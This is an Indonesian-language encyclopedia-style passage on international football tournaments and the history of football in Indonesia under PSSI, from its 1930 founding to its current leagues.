http://bits.wikimedia.org/static-1.23wmf4/skins/common/images/magnify-clip.png
Permainan sepak bola wanita.
Kejuaraan sepak bola internasional terbesar ialah Piala Dunia yang diselenggarakan oleh Fédération Internationale de Football Association (FIFA).[14] Piala Dunia diadakan setiap empat tahun sekali dan dimulai di Uruguay pada tahun 1930.[14] Pencetus ide tersebut adalah Jules Rimet, seorang pengacara dan pengusaha Perancis yang terinspirasi setelah menonton Olimpiade Paris tahun 1924.[14]
Kompetisi international tertua di dunia adalah Copa America yang mempertandingkan tim-tim dalam wilayah Amerika Selatan setiap dua tahun sekali.[15] Copa America pertama kali diadakan tahun 1916 dan diikuti oleh 10 negara yang akhirnya membentuk The South American Football Confederation (Conmebol).[15] Untuk wilayah Amerika Utara, The Confederation of North, Central American and Caribbean Association Football (CONCACAF) menyelenggarakan kompetisi internasional setiap empat tahun sekali yang disebut Piala Emas CONCACAF.[16] Di kawasan Asia, termasuk Australia dan Timor Leste negara-negara yang tergabung dalam Asian Football Confederation (AFC), mengadakan kompetisi internasional pertama tingkat Asia pada tahun 1956 di Hongkong yang disebut Piala Asia.[17] Pada tahun 1960, kompetisi tingkat regional Eropa diadakan untuk pertama kalinya dengan nama European Nations' Cup yang kemudian disebut sebagai UEFA European Championship (Piala Eropa atau EURO).[14] Di wilayah Oseania (meliputi Selandia Baru, dan berbagai Kepulauan Pasifik), kompetisi international setiap dua tahun dimulai sejak tahun 1996 disebut Piala Oseania.[18] Untuk wilayah Afrika, kompetisi Piala Afrika mulai diadakan sejak 1957 di Khartoum.[19]

Sepak bola di Indonesia

Sejarah sepak bola di Indonesia diawali dengan berdirinya Persatuan Sepak Bola Seluruh Indonesia (PSSI) di Yogyakarta pada 19 April 1930 dengan pimpinan Soeratin Sosrosoegondo.[20] Dalam kongres PSSI di Solo, organisasi tersebut mengalami perubahan nama menjadi Persatuan Sepak Bola Seluruh Indonesia.[20] Sejak saat itu, kegiatan sepak bola semakin sering digerakkan oleh PSSI dan makin banyak rakyat bermain di jalan atau alun-alun tempat Kompetisi I Perserikatan diadakan.[21] Sebagai bentuk dukungan terhadap kebangkitan "Sepakbola Kebangsaan", Paku Buwono X mendirikan stadion Sriwedari yang membuat persepakbolaan Indonesia semakin gencar.[21]
Sepeninggalan Soeratin Sosrosoegondo, prestasi tim nasional sepak bola Indonesia tidak terlalu memuaskan karena pembinaan tim nasional tidak diimbangi dengan pengembangan organisasi dan kompetisi.[21] Pada era sebelum tahun 1970-an, beberapa pemain Indonesia sempat bersaing dalam kompetisi internasional, di antaranya Ramang, Sucipto Suntoro, Ronny Pattinasarani, dan Tan Liong Houw.[21] Dalam perkembangannya, PSSI telah memperluas kompetisi sepak bola dalam negeri, di antaranya dengan penyelenggaraan Liga Super Indonesia, Divisi Utama, Divisi Satu, dan Divisi Dua untuk pemain non amatir, serta Divisi Tiga untuk pemain amatir.[21] Selain itu, PSSI juga aktif mengembangkan kompetisi sepak bola wanita dan kompetisi dalam kelompok umur tertentu (U-15, U-17, U-19,U21, dan U-23).[21]